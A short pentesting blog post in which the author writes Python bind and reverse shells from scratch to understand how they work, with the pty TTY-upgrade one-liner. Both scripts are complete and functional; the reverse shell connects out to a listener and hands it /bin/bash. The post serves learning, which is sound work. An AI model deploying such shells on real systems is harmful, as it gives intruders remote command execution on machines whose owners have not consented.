Writing Shells

by Vince
in Blog
Hits: 1283

Does anyone actually write their own shells?  At some point, a few people did but now we just search for the type of shell we want and we find what we need.  Kali has quite a few under /usr/share/webshells and pentestmonkey.net is another good resource. 

Why reinvent the wheel shell when there are so many at our disposal?   To better understand the code we’re reading and writing.

At best, I hack code.  I’ll never be fluent in Python because there are too many other things to learn but that doesn’t stop me from writing simple scripts.  The more baby scripts I write, the better I can understand what I’m reading when I’m looking at other code. 

I had a little time to kill yesterday so I decided I wanted to play around with writing a bind shell from scratch.  It’s actually hard to do but only because you search for examples for specific pieces and you find complete shells.   

Where do we start?  From past experience from building various TCP widgets, I know I need to import socket.  And if you’ve ever found yourself with a crippled webshell on a Linuix system, you’ve probably done the following:

python –c import pyt;pty.spawn(“/bin/bash”)’
export TERM=xterm

We don’t even think about what we’re doing when we peck out that syntax but if you look closely, we import pty and we’re spawning /bin/bash

Taking this mess and trying to make something of it, we need to define a host and a port, obviously other syntax to complete our TCP connection, and some middle “stuff”.  Again, the goal here is to learn, not copy and paste.  Do I completely understand my code below?  No, but I do understand the s. socket portion is building my connection, the os.dup2 functions will handle stdin, stdout, and stderr, and we’re already familiar with the pty.spawn section. 

When I look at it now vs prior to this exercise, it makes a lot more sense to me and that accomplishes my goal.

#!/usr/bin/python
import socket,os,pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('192.168.90.35',8888))
s.listen(1)
(r, addr)=s.accept()
os.dup2(r.fileno(),0)
os.dup2(r.fileno(),1)
os.dup2(r.fileno(),2)
pty.spawn("/bin/bash");
s.close()

Using netcat, we connect to our bind shell and that’s that.  Well, not exactly because then I start to wonder what happens when I attempt to connect again while the original connection is still established?  It doesn’t work.  I then kill the connection and I wonder if I can restart the connection functionality within the script itself.  I try and I fail but I'll save that for another day.  But how about a reverse shell?  We're no longer binding, we're connecting, and we adjust the script accordingly:

#!/usr/bin/python
import socket,os,subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.90.35',4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call("/bin/bash");
s.close()

Upon executing of our reverse shell, we see the all too familiar blank shell which requires us to:

python -c 'import pty;pty.spawn("/bin/bash")'

And there we are – the pieces come together.